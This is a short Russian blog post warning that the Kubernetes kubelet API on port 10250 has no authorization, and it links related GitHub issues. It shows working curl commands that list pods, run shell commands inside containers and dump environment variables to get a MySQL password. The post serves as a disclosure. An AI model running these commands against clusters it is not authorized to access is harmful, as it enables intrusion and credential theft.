Предостережение для пользователей Kubernetes

Все блоги / Про интернет 26 августа 2016 226   

Сервис kubelet, с которым тесно общается apiserver, слушает порт 10250. Этот порт хоть и использует сертификаты, но лишь для шифрования канала, никакой авторизации на нём нет.


Об этой проблеме известно давно, но почему-то никто не считает её серьезной. Ссылки на обсуждения:



https://github.com/kubernetes/kubernetes/issues/3168

https://github.com/kubernetes/kubernetes/issues/7965

https://github.com/kubernetes/kubernetes/issues/11816

Что с этим можно сделать? Правтически всё. Без регистрации и sms.


Получить список всех pod'ов:



$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool

Выполнить команду внутри контейнера? Запросто:



$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"

Получить пароль на базу данных? Проще простого:



$ curl -k -XPOST "https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d 'cmd=env'

Вытащить из неё данные тоже не составит труда.

  • Оцените публикацию
  • 0

Похожие публикации

@
  • bowtiesmilelaughingblushsmileyrelaxedsmirk
    heart_eyeskissing_heartkissing_closed_eyesflushedrelievedsatisfiedgrin
    winkstuck_out_tongue_winking_eyestuck_out_tongue_closed_eyesgrinningkissingstuck_out_tonguesleeping
    worriedfrowninganguishedopen_mouthgrimacingconfusedhushed
    expressionlessunamusedsweat_smilesweatdisappointed_relievedwearypensive
    disappointedconfoundedfearfulcold_sweatperseverecrysob
    joyastonishedscreamtired_faceangryragetriumph
    sleepyyummasksunglassesdizzy_faceimpsmiling_imp
    neutral_faceno_mouthinnocent